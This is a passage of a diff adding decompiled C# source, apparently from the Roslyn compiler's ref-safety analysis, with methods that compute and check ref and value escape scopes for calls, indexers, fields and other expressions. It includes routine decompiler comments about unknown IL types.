!IsReceiverRefReadOnly(symbol)) + { + num = GetValEscape(receiverOpt, scopeOfTheContainingExpression); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetInvocationArgumentsForEscape(symbol, receiverOpt, receiverIsSubjectToCloning, parameters, argsOpt, default(ImmutableArray), argsToParamsOpt, ignoreArglistRefKinds: false, null, instance); + try + { + Enumerator enumerator = instance.GetEnumerator(); + ParameterSymbol parameter; + BoundExpression argument; + RefKind refKind; + while (enumerator.MoveNext()) + { + enumerator.Current.Deconstruct(out parameter, out argument, out refKind); + BoundExpression boundExpression = argument; + RefKind refKind2 = refKind; + if (!ShouldInferDeclarationExpressionValEscape(boundExpression, out SourceLocalSymbol _) && refKind2.IsWritableReference() && !boundExpression.IsDiscardExpression()) + { + TypeSymbol? type = boundExpression.Type; + if ((object)type != null && type.IsRefLikeType) + { + num = Math.Min(num, GetValEscape(boundExpression, scopeOfTheContainingExpression)); + } + } + } + bool flag = false; + uint num2 = 0u; + enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Deconstruct(out parameter, out argument, out refKind); + ParameterSymbol parameter2 = parameter; + BoundExpression boundExpression2 = argument; + num2 = Math.Max(num2, GetValEscape(boundExpression2, scopeOfTheContainingExpression)); + if (!flag && !CheckValEscape(boundExpression2.Syntax, boundExpression2, scopeOfTheContainingExpression, num, checkingReceiver: false, diagnostics)) + { + string invocationParameterName = GetInvocationParameterName(parameter2); + Error(diagnostics, ErrorCode.ERR_CallArgMixing, SyntaxNodeOrToken.op_Implicit(syntax), symbol, invocationParameterName); + flag = true; + } + } + enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Deconstruct(out parameter, out argument, out refKind); + BoundExpression argument2 = argument; + if (ShouldInferDeclarationExpressionValEscape(argument2, out SourceLocalSymbol localSymbol2)) + { + SetLocalScopes(localSymbol2, _localScopeDepth, num2); + } + } + return !flag; + } + finally + { + instance.Free(); + } + } + + private bool CheckInvocationArgMixingWithUpdatedRules(SyntaxNode syntax, Symbol symbol, BoundExpression? receiverOpt, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, uint scopeOfTheContainingExpression, BindingDiagnosticBag diagnostics) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder escapeValues = ArrayBuilder.GetInstance(); + GetEscapeValuesForUpdatedRules(symbol, receiverOpt, receiverIsSubjectToCloning, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, ignoreArglistRefKinds: false, instance, escapeValues); + bool flag = true; + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + MixableDestination current = enumerator.Current; + uint valEscape = GetValEscape(current.Argument, scopeOfTheContainingExpression); + Enumerator enumerator2 = escapeValues.GetEnumerator(); + while (enumerator2.MoveNext()) + { + var (parameterSymbol2, boundExpression2, level, flag3) = (EscapeValue)(ref enumerator2.Current); + if (((object)current.Parameter == null || (object)current.Parameter != parameterSymbol2) && current.IsAssignableFrom(level)) + { + flag = (flag3 ? CheckRefEscape(boundExpression2.Syntax, boundExpression2, scopeOfTheContainingExpression, valEscape, checkingReceiver: false, diagnostics) : CheckValEscape(boundExpression2.Syntax, boundExpression2, scopeOfTheContainingExpression, valEscape, checkingReceiver: false, diagnostics)); + if (!flag) + { + string invocationParameterName = GetInvocationParameterName(parameterSymbol2); + Error(diagnostics, ErrorCode.ERR_CallArgMixing, SyntaxNodeOrToken.op_Implicit(syntax), symbol, invocationParameterName); + break; + } + } + } + if (!flag) + { + break; + } + } + inferDeclarationExpressionValEscape(); + instance.Free(); + escapeValues.Free(); + return flag; + void inferDeclarationExpressionValEscape() + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + uint num = 0u; + Enumerator enumerator3 = escapeValues.GetEnumerator(); + while (enumerator3.MoveNext()) + { + enumerator3.Current.Deconstruct(out ParameterSymbol _, out BoundExpression argument, out EscapeLevel _, out bool isRefEscape); + BoundExpression expr = argument; + bool flag4 = isRefEscape; + num = Math.Max(num, flag4 ? GetRefEscape(expr, scopeOfTheContainingExpression) : GetValEscape(expr, scopeOfTheContainingExpression)); + } + ImmutableArray.Enumerator enumerator4 = argsOpt.GetEnumerator(); + while (enumerator4.MoveNext()) + { + BoundExpression current2 = enumerator4.Current; + if (ShouldInferDeclarationExpressionValEscape(current2, out SourceLocalSymbol localSymbol)) + { + SetLocalScopes(localSymbol, _localScopeDepth, num); + } + } + } + } + + private static bool IsReceiverRefReadOnly(Symbol methodOrPropertySymbol) + { + if (!(methodOrPropertySymbol is MethodSymbol { IsEffectivelyReadOnly: var isEffectivelyReadOnly })) + { + if (methodOrPropertySymbol is PropertySymbol propertySymbol) + { + MethodSymbol getMethod = propertySymbol.GetMethod; + return ((object)getMethod == null || getMethod.IsEffectivelyReadOnly) && (propertySymbol.SetMethod?.IsEffectivelyReadOnly ?? true); + } + throw ExceptionUtilities.UnexpectedValue((object)methodOrPropertySymbol); + } + return isEffectivelyReadOnly; + } + + private static ErrorCode GetStandardCallEscapeError(bool checkingReceiver) + { + if (!checkingReceiver) + { + return ErrorCode.ERR_EscapeCall; + } + return ErrorCode.ERR_EscapeCall2; + } + + private static ErrorCode GetStandardRValueRefEscapeError(uint escapeTo) + { + if (escapeTo <= 1) + { + return ErrorCode.ERR_RefReturnLvalueExpected; + } + return ErrorCode.ERR_EscapeOther; + } + + internal void ValidateEscape(BoundExpression expr, uint escapeTo, bool isByRef, BindingDiagnosticBag diagnostics) + { + if (isByRef) + { + CheckRefEscape(expr.Syntax, expr, _localScopeDepth, escapeTo, checkingReceiver: false, diagnostics); + } + else + { + CheckValEscape(expr.Syntax, expr, _localScopeDepth, escapeTo, checkingReceiver: false, diagnostics); + } + } + + internal uint GetRefEscape(BoundExpression expr, uint scopeOfTheContainingExpression) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_01e6: Unknown result type (might be due to invalid IL or missing references) + //IL_0201: Unknown result type (might be due to invalid IL or missing references) + //IL_041f: Unknown result type (might be due to invalid IL or missing references) + //IL_0295: Unknown result type (might be due to invalid IL or missing references) + //IL_03a2: Unknown result type (might be due to invalid IL or missing references) + //IL_03a7: Unknown result type (might be due to invalid IL or missing references) + //IL_03a9: Unknown result type (might be due to invalid IL or missing references) + //IL_03b0: Invalid comparison between Unknown and I4 + //IL_0242: Unknown result type (might be due to invalid IL or missing references) + //IL_0309: Unknown result type (might be due to invalid IL or missing references) + //IL_03b2: Unknown result type (might be due to invalid IL or missing references) + //IL_03b9: Invalid comparison between Unknown and I4 + //IL_033f: Unknown result type (might be due to invalid IL or missing references) + //IL_0359: Unknown result type (might be due to invalid IL or missing references) + if (expr.HasAnyErrors) + { + return 0u; + } + TypeSymbol? type = expr.Type; + if ((object)type != null && (int)type.GetSpecialTypeSafe() == 6) + { + return 0u; + } + if (expr.ConstantValueOpt != (ConstantValue)null) + { + return scopeOfTheContainingExpression; + } + switch (expr.Kind) + { + case BoundKind.PointerIndirectionOperator: + case BoundKind.PointerElementAccess: + case BoundKind.ArrayAccess: + return 0u; + case BoundKind.RefValueOperator: + return 2u; + case BoundKind.Parameter: + return GetParameterRefEscape(((BoundParameter)expr).ParameterSymbol); + case BoundKind.Local: + return GetLocalScopes(((BoundLocal)expr).LocalSymbol).RefEscapeScope; + case BoundKind.CapturedReceiverPlaceholder: + return ((BoundCapturedReceiverPlaceholder)expr).LocalScopeDepth; + case BoundKind.ThisReference: + return GetParameterRefEscape(_symbol.ThisParameter); + case BoundKind.ConditionalOperator: + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)expr; + if (boundConditionalOperator.IsRef) + { + return Math.Max(GetRefEscape(boundConditionalOperator.Consequence, scopeOfTheContainingExpression), GetRefEscape(boundConditionalOperator.Alternative, scopeOfTheContainingExpression)); + } + break; + } + case BoundKind.FieldAccess: + return GetFieldRefEscape((BoundFieldAccess)expr, scopeOfTheContainingExpression); + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)expr; + if (boundEventAccess.IsUsableAsField) + { + EventSymbol eventSymbol = boundEventAccess.EventSymbol; + if (eventSymbol.IsStatic || eventSymbol.ContainingType.IsReferenceType) + { + return 0u; + } + return GetRefEscape(boundEventAccess.ReceiverOpt, scopeOfTheContainingExpression); + } + break; + } + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)expr; + MethodSymbol method = boundCall.Method; + if ((int)method.RefKind != 0) + { + return GetInvocationEscapeScope(boundCall.Method, boundCall.ReceiverOpt, boundCall.InitialBindingReceiverIsSubjectToCloning, method.Parameters, boundCall.Arguments, boundCall.ArgumentRefKindsOpt, boundCall.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: true); + } + break; + } + case BoundKind.FunctionPointerInvocation: + { + BoundFunctionPointerInvocation boundFunctionPointerInvocation = (BoundFunctionPointerInvocation)expr; + FunctionPointerMethodSymbol signature = boundFunctionPointerInvocation.FunctionPointer.Signature; + if ((int)signature.RefKind != 0) + { + return GetInvocationEscapeScope(signature, null, (ThreeState)0, signature.Parameters, boundFunctionPointerInvocation.Arguments, boundFunctionPointerInvocation.ArgumentRefKindsOpt, default(ImmutableArray), scopeOfTheContainingExpression, isRefEscape: true); + } + break; + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess = (BoundIndexerAccess)expr; + PropertySymbol indexer = boundIndexerAccess.Indexer; + return GetInvocationEscapeScope(indexer, boundIndexerAccess.ReceiverOpt, boundIndexerAccess.InitialBindingReceiverIsSubjectToCloning, indexer.Parameters, boundIndexerAccess.Arguments, boundIndexerAccess.ArgumentRefKindsOpt, boundIndexerAccess.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: true); + } + case BoundKind.ImplicitIndexerAccess: + { + BoundImplicitIndexerAccess boundImplicitIndexerAccess = (BoundImplicitIndexerAccess)expr; + BoundExpression indexerOrSliceAccess = boundImplicitIndexerAccess.IndexerOrSliceAccess; + if (!(indexerOrSliceAccess is BoundIndexerAccess boundIndexerAccess2)) + { + if (!(indexerOrSliceAccess is BoundArrayAccess)) + { + if (indexerOrSliceAccess is BoundCall boundCall2) + { + MethodSymbol method2 = boundCall2.Method; + if ((int)method2.RefKind != 0) + { + return GetInvocationEscapeScope(boundCall2.Method, boundImplicitIndexerAccess.Receiver, boundCall2.InitialBindingReceiverIsSubjectToCloning, method2.Parameters, boundCall2.Arguments, boundCall2.ArgumentRefKindsOpt, boundCall2.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: true); + } + break; + } + throw ExceptionUtilities.UnexpectedValue((object)boundImplicitIndexerAccess.IndexerOrSliceAccess.Kind); + } + return 0u; + } + PropertySymbol indexer2 = boundIndexerAccess2.Indexer; + return GetInvocationEscapeScope(indexer2, boundImplicitIndexerAccess.Receiver, boundIndexerAccess2.InitialBindingReceiverIsSubjectToCloning, indexer2.Parameters, boundIndexerAccess2.Arguments, boundIndexerAccess2.ArgumentRefKindsOpt, boundIndexerAccess2.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: true); + } + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)expr; + WellKnownMember getItemOrSliceHelper = boundInlineArrayAccess.GetItemOrSliceHelper; + bool flag = (((int)getItemOrSliceHelper == 400 || (int)getItemOrSliceHelper == 406) ? true : false); + if (flag && !boundInlineArrayAccess.IsValue) + { + ImmutableArray arguments; + ImmutableArray refKinds; + SignatureOnlyMethodSymbol inlineArrayAccessEquivalentSignatureMethod = GetInlineArrayAccessEquivalentSignatureMethod(boundInlineArrayAccess, out arguments, out refKinds); + return GetInvocationEscapeScope(inlineArrayAccessEquivalentSignatureMethod, null, (ThreeState)0, inlineArrayAccessEquivalentSignatureMethod.Parameters, arguments, refKinds, default(ImmutableArray), scopeOfTheContainingExpression, isRefEscape: true); + } + break; + } + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)expr; + return GetInvocationEscapeScope(boundPropertyAccess.PropertySymbol, boundPropertyAccess.ReceiverOpt, boundPropertyAccess.InitialBindingReceiverIsSubjectToCloning, default(ImmutableArray), default(ImmutableArray), default(ImmutableArray), default(ImmutableArray), scopeOfTheContainingExpression, isRefEscape: true); + } + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)expr; + if (boundAssignmentOperator.IsRef) + { + return GetRefEscape(boundAssignmentOperator.Left, scopeOfTheContainingExpression); + } + break; + } + } + return scopeOfTheContainingExpression; + } + + internal bool CheckRefEscape(SyntaxNode node, BoundExpression expr, uint escapeFrom, uint escapeTo, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_05d0: Unknown result type (might be due to invalid IL or missing references) + //IL_027b: Unknown result type (might be due to invalid IL or missing references) + //IL_04b9: Unknown result type (might be due to invalid IL or missing references) + //IL_0298: Unknown result type (might be due to invalid IL or missing references) + //IL_0515: Unknown result type (might be due to invalid IL or missing references) + //IL_02da: Unknown result type (might be due to invalid IL or missing references) + //IL_0430: Unknown result type (might be due to invalid IL or missing references) + //IL_0435: Unknown result type (might be due to invalid IL or missing references) + //IL_0437: Unknown result type (might be due to invalid IL or missing references) + //IL_043e: Invalid comparison between Unknown and I4 + //IL_0532: Unknown result type (might be due to invalid IL or missing references) + //IL_02f7: Unknown result type (might be due to invalid IL or missing references) + //IL_036a: Unknown result type (might be due to invalid IL or missing references) + //IL_0440: Unknown result type (might be due to invalid IL or missing references) + //IL_0447: Invalid comparison between Unknown and I4 + //IL_0387: Unknown result type (might be due to invalid IL or missing references) + //IL_03c3: Unknown result type (might be due to invalid IL or missing references) + //IL_03e0: Unknown result type (might be due to invalid IL or missing references) + if (escapeTo >= escapeFrom) + { + return true; + } + if (expr.HasAnyErrors) + { + return true; + } + TypeSymbol? type = expr.Type; + if ((object)type != null && (int)type.GetSpecialTypeSafe() == 6) + { + return true; + } + if (expr.ConstantValueOpt != (ConstantValue)null) + { + Error(diagnostics, GetStandardRValueRefEscapeError(escapeTo), SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + switch (expr.Kind) + { + case BoundKind.PointerIndirectionOperator: + case BoundKind.PointerElementAccess: + case BoundKind.ArrayAccess: + return true; + case BoundKind.RefValueOperator: + if (escapeTo > 1) + { + return true; + } + break; + case BoundKind.Parameter: + { + BoundParameter boundParameter = (BoundParameter)expr; + return CheckParameterRefEscape(node, boundParameter, boundParameter.ParameterSymbol, escapeTo, checkingReceiver, diagnostics); + } + case BoundKind.Local: + { + BoundLocal local = (BoundLocal)expr; + return CheckLocalRefEscape(node, local, escapeTo, checkingReceiver, diagnostics); + } + case BoundKind.CapturedReceiverPlaceholder: + if (((BoundCapturedReceiverPlaceholder)expr).LocalScopeDepth <= escapeTo) + { + return true; + } + break; + case BoundKind.ThisReference: + { + ParameterSymbol thisParameter = _symbol.ThisParameter; + return CheckParameterRefEscape(node, expr, thisParameter, escapeTo, checkingReceiver, diagnostics); + } + case BoundKind.ConditionalOperator: + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)expr; + if (boundConditionalOperator.IsRef) + { + if (CheckRefEscape(boundConditionalOperator.Consequence.Syntax, boundConditionalOperator.Consequence, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return CheckRefEscape(boundConditionalOperator.Alternative.Syntax, boundConditionalOperator.Alternative, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return false; + } + break; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess fieldAccess = (BoundFieldAccess)expr; + return CheckFieldRefEscape(node, fieldAccess, escapeFrom, escapeTo, diagnostics); + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)expr; + if (boundEventAccess.IsUsableAsField) + { + return CheckFieldLikeEventRefEscape(node, boundEventAccess, escapeFrom, escapeTo, diagnostics); + } + break; + } + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)expr; + MethodSymbol method = boundCall.Method; + if ((int)method.RefKind != 0) + { + return CheckInvocationEscape(boundCall.Syntax, method, boundCall.ReceiverOpt, boundCall.InitialBindingReceiverIsSubjectToCloning, method.Parameters, boundCall.Arguments, boundCall.ArgumentRefKindsOpt, boundCall.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: true); + } + break; + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess = (BoundIndexerAccess)expr; + PropertySymbol indexer = boundIndexerAccess.Indexer; + if ((int)indexer.RefKind != 0) + { + return CheckInvocationEscape(boundIndexerAccess.Syntax, indexer, boundIndexerAccess.ReceiverOpt, boundIndexerAccess.InitialBindingReceiverIsSubjectToCloning, indexer.Parameters, boundIndexerAccess.Arguments, boundIndexerAccess.ArgumentRefKindsOpt, boundIndexerAccess.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: true); + } + break; + } + case BoundKind.ImplicitIndexerAccess: + { + BoundImplicitIndexerAccess boundImplicitIndexerAccess = (BoundImplicitIndexerAccess)expr; + BoundExpression indexerOrSliceAccess = boundImplicitIndexerAccess.IndexerOrSliceAccess; + if (!(indexerOrSliceAccess is BoundIndexerAccess boundIndexerAccess2)) + { + if (indexerOrSliceAccess is BoundArrayAccess) + { + return true; + } + if (!(indexerOrSliceAccess is BoundCall boundCall2)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundImplicitIndexerAccess.IndexerOrSliceAccess.Kind); + } + MethodSymbol method2 = boundCall2.Method; + if ((int)method2.RefKind != 0) + { + return CheckInvocationEscape(boundCall2.Syntax, method2, boundImplicitIndexerAccess.Receiver, boundCall2.InitialBindingReceiverIsSubjectToCloning, method2.Parameters, boundCall2.Arguments, boundCall2.ArgumentRefKindsOpt, boundCall2.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: true); + } + } + else + { + PropertySymbol indexer2 = boundIndexerAccess2.Indexer; + if ((int)indexer2.RefKind != 0) + { + return CheckInvocationEscape(boundIndexerAccess2.Syntax, indexer2, boundImplicitIndexerAccess.Receiver, boundIndexerAccess2.InitialBindingReceiverIsSubjectToCloning, indexer2.Parameters, boundIndexerAccess2.Arguments, boundIndexerAccess2.ArgumentRefKindsOpt, boundIndexerAccess2.ArgsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: true); + } + } + break; + } + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)expr; + WellKnownMember getItemOrSliceHelper = boundInlineArrayAccess.GetItemOrSliceHelper; + bool flag = (((int)getItemOrSliceHelper == 400 || (int)getItemOrSliceHelper == 406) ? true : false); + if (flag && !boundInlineArrayAccess.IsValue) + { + ImmutableArray arguments; + ImmutableArray refKinds; + SignatureOnlyMethodSymbol inlineArrayAccessEquivalentSignatureMethod = GetInlineArrayAccessEquivalentSignatureMethod(boundInlineArrayAccess, out arguments, out refKinds); + return CheckInvocationEscape(boundInlineArrayAccess.Syntax, inlineArrayAccessEquivalentSignatureMethod, null, (ThreeState)0, inlineArrayAccessEquivalentSignatureMethod.Parameters, arguments, refKinds, default(ImmutableArray), checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: true); + } + break; + } + case BoundKind.FunctionPointerInvocation: + { + BoundFunctionPointerInvocation boundFunctionPointerInvocation = (BoundFunctionPointerInvocation)expr; + FunctionPointerMethodSymbol signature = boundFunctionPointerInvocation.FunctionPointer.Signature; + if ((int)signature.RefKind != 0) + { + return CheckInvocationEscape(boundFunctionPointerInvocation.Syntax, signature, boundFunctionPointerInvocation.InvokedExpression, (ThreeState)1, signature.Parameters, boundFunctionPointerInvocation.Arguments, boundFunctionPointerInvocation.ArgumentRefKindsOpt, default(ImmutableArray), checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: true); + } + break; + } + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)expr; + PropertySymbol propertySymbol = boundPropertyAccess.PropertySymbol; + if ((int)propertySymbol.RefKind != 0) + { + return CheckInvocationEscape(boundPropertyAccess.Syntax, propertySymbol, boundPropertyAccess.ReceiverOpt, boundPropertyAccess.InitialBindingReceiverIsSubjectToCloning, default(ImmutableArray), default(ImmutableArray), default(ImmutableArray), default(ImmutableArray), checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape: true); + } + break; + } + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)expr; + if (boundAssignmentOperator.IsRef) + { + return CheckRefEscape(node, boundAssignmentOperator.Left, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + break; + } + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)expr; + if (boundConversion.Conversion == Conversion.ImplicitThrow) + { + return CheckRefEscape(node, boundConversion.Operand, escapeFrom, escapeTo, checkingReceiver, diagnostics); + } + break; + } + case BoundKind.ThrowExpression: + return true; + } + Error(diagnostics, GetStandardRValueRefEscapeError(escapeTo), SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + + internal uint GetBroadestValEscape(BoundTupleExpression expr, uint scopeOfTheContainingExpression) + { + uint num = scopeOfTheContainingExpression; + ImmutableArray.Enumerator enumerator = expr.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + uint val = ((!(current is BoundTupleExpression expr2)) ? GetValEscape(current, scopeOfTheContainingExpression) : GetBroadestValEscape(expr2, scopeOfTheContainingExpression)); + num = Math.Min(num, val); + } + return num; + } + + internal uint GetValEscape(BoundExpression expr, uint scopeOfTheContainingExpression) + { + //IL_0565: Unknown result type (might be due to invalid IL or missing references) + //IL_041f: Unknown result type (might be due to invalid IL or missing references) + //IL_0392: Unknown result type (might be due to invalid IL or missing references) + //IL_0493: Unknown result type (might be due to invalid IL or missing references) + //IL_04cf: Unknown result type (might be due to invalid IL or missing references) + if (expr.HasAnyErrors) + { + return 0u; + } + if (expr.ConstantValueOpt != (ConstantValue)null) + { + return 0u; + } + TypeSymbol? type = expr.Type; + if ((object)type == null || !type.IsRefLikeType) + { + return 0u; + } + switch (expr.Kind) + { + case BoundKind.ThisReference: + return GetParameterValEscape(_symbol.ThisParameter); + case BoundKind.DefaultLiteral: + case BoundKind.DefaultExpression: + case BoundKind.Utf8String: + return 0u; + case BoundKind.Parameter: + return GetParameterValEscape(((BoundParameter)expr).ParameterSymbol); + case BoundKind.FromEndIndexExpression: + return 0u; + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + { + BoundTupleExpression boundTupleExpression = (BoundTupleExpression)expr; + return GetTupleValEscape(boundTupleExpression.Arguments, scopeOfTheContainingExpression); + } + case BoundKind.MakeRefOperator: + case BoundKind.RefValueOperator: + return 0u; + case BoundKind.DiscardExpression: + return 0u; + case BoundKind.DeconstructValuePlaceholder: + case BoundKind.AwaitableValuePlaceholder: + case BoundKind.InterpolatedStringArgumentPlaceholder: + return GetPlaceholderScope((BoundValuePlaceholderBase)expr); + case BoundKind.Local: + return GetLocalScopes(((BoundLocal)expr).LocalSymbol).ValEscapeScope; + case BoundKind.CapturedReceiverPlaceholder: + { + BoundCapturedReceiverPlaceholder boundCapturedReceiverPlaceholder = (BoundCapturedReceiverPlaceholder)expr; + return GetValEscape(boundCapturedReceiverPlaceholder.Receiver, boundCapturedReceiverPlaceholder.LocalScopeDepth); + } + case BoundKind.StackAllocArrayCreation: + case BoundKind.ConvertedStackAllocExpression: + return 2u; + case BoundKind.ConditionalOperator: + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)expr; + uint valEscape = GetValEscape(boundConditionalOperator.Consequence, scopeOfTheContainingExpression); + if (boundConditionalOperator.IsRef) + { + return valEscape; + } + return Math.Max(valEscape, GetValEscape(boundConditionalOperator.Alternative, scopeOfTheContainingExpression)); + } + case BoundKind.NullCoalescingOperator: + { + BoundNullCoalescingOperator boundNullCoalescingOperator = (BoundNullCoalescingOperator)expr; + return Math.Max(GetValEscape(boundNullCoalescingOperator.LeftOperand, scopeOfTheContainingExpression), GetValEscape(boundNullCoalescingOperator.RightOperand, scopeOfTheContainingExpression)); + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expr; + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if (fieldSymbol.IsStatic || !fieldSymbol.ContainingType.IsRefLikeType) + { + return 0u; + } + return GetValEscape(boundFieldAccess.ReceiverOpt, scopeOfTheContainingExpression); + } + case BoundKind.Call: + { + BoundCall boundCall2 = (BoundCall)expr; + return GetInvocationEscapeScope(boundCall2.Method, boundCall2.ReceiverOpt, boundCall2.InitialBindingReceiverIsSubjectToCloning, boundCall2.Method.Parameters, boundCall2.Arguments, boundCall2.ArgumentRefKindsOpt, boundCall2.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: false); + } + case BoundKind.FunctionPointerInvocation: + { + BoundFunctionPointerInvocation boundFunctionPointerInvocation = (BoundFunctionPointerInvocation)expr; + FunctionPointerMethodSymbol signature = boundFunctionPointerInvocation.FunctionPointer.Signature; + return GetInvocationEscapeScope(signature, null, (ThreeState)0, signature.Parameters, boundFunctionPointerInvocation.Arguments, boundFunctionPointerInvocation.ArgumentRefKindsOpt, default(ImmutableArray), scopeOfTheContainingExpression, isRefEscape: false); + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess2 = (BoundIndexerAccess)expr; + PropertySymbol indexer2 = boundIndexerAccess2.Indexer; + return GetInvocationEscapeScope(indexer2, boundIndexerAccess2.ReceiverOpt, boundIndexerAccess2.InitialBindingReceiverIsSubjectToCloning, indexer2.Parameters, boundIndexerAccess2.Arguments, boundIndexerAccess2.ArgumentRefKindsOpt, boundIndexerAccess2.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: false); + } + case BoundKind.ImplicitIndexerAccess: + { + BoundImplicitIndexerAccess boundImplicitIndexerAccess = (BoundImplicitIndexerAccess)expr; + BoundExpression indexerOrSliceAccess = boundImplicitIndexerAccess.IndexerOrSliceAccess; + if (!(indexerOrSliceAccess is BoundIndexerAccess boundIndexerAccess)) + { + if (!(indexerOrSliceAccess is BoundArrayAccess)) + { + if (indexerOrSliceAccess is BoundCall boundCall) + { + return GetInvocationEscapeScope(boundCall.Method, boundImplicitIndexerAccess.Receiver, boundCall.InitialBindingReceiverIsSubjectToCloning, boundCall.Method.Parameters, boundCall.Arguments, boundCall.ArgumentRefKindsOpt, boundCall.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: false); + } + throw ExceptionUtilities.UnexpectedValue((object)boundImplicitIndexerAccess.IndexerOrSliceAccess.Kind); + } + return scopeOfTheContainingExpression; + } + PropertySymbol indexer = boundIndexerAccess.Indexer; + return GetInvocationEscapeScope(indexer, boundImplicitIndexerAccess.Receiver, boundIndexerAccess.InitialBindingReceiverIsSubjectToCloning, indexer.Parameters, boundIndexerAccess.Arguments, boundIndexerAccess.ArgumentRefKindsOpt, boundIndexerAccess.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: false); + } + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess elementAccess = (BoundInlineArrayAccess)expr; + ImmutableArray arguments2; + ImmutableArray refKinds2; + SignatureOnlyMethodSymbol inlineArrayAccessEquivalentSignatureMethod = GetInlineArrayAccessEquivalentSignatureMethod(elementAccess, out arguments2, out refKinds2); + return GetInvocationEscapeScope(inlineArrayAccessEquivalentSignatureMethod, null, (ThreeState)0, inlineArrayAccessEquivalentSignatureMethod.Parameters, arguments2, refKinds2, default(ImmutableArray), scopeOfTheContainingExpression, isRefEscape: false); + } + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)expr; + return GetInvocationEscapeScope(boundPropertyAccess.PropertySymbol, boundPropertyAccess.ReceiverOpt, boundPropertyAccess.InitialBindingReceiverIsSubjectToCloning, default(ImmutableArray), default(ImmutableArray), default(ImmutableArray), default(ImmutableArray), scopeOfTheContainingExpression, isRefEscape: false); + } + case BoundKind.ObjectCreationExpression: + { + BoundObjectCreationExpression boundObjectCreationExpression = (BoundObjectCreationExpression)expr; + MethodSymbol constructor = boundObjectCreationExpression.Constructor; + uint num = GetInvocationEscapeScope(constructor, null, (ThreeState)0, constructor.Parameters, boundObjectCreationExpression.Arguments, boundObjectCreationExpression.ArgumentRefKindsOpt, boundObjectCreationExpression.ArgsToParamsOpt, scopeOfTheContainingExpression, isRefEscape: false); + BoundObjectInitializerExpressionBase initializerExpressionOpt = boundObjectCreationExpression.InitializerExpressionOpt; + if (initializerExpressionOpt != null) + { + num = Math.Max(num, GetValEscape(initializerExpressionOpt, scopeOfTheContainingExpression)); + } + return num; + } + case BoundKind.WithExpression: + { + BoundWithExpression boundWithExpression = (BoundWithExpression)expr; + return 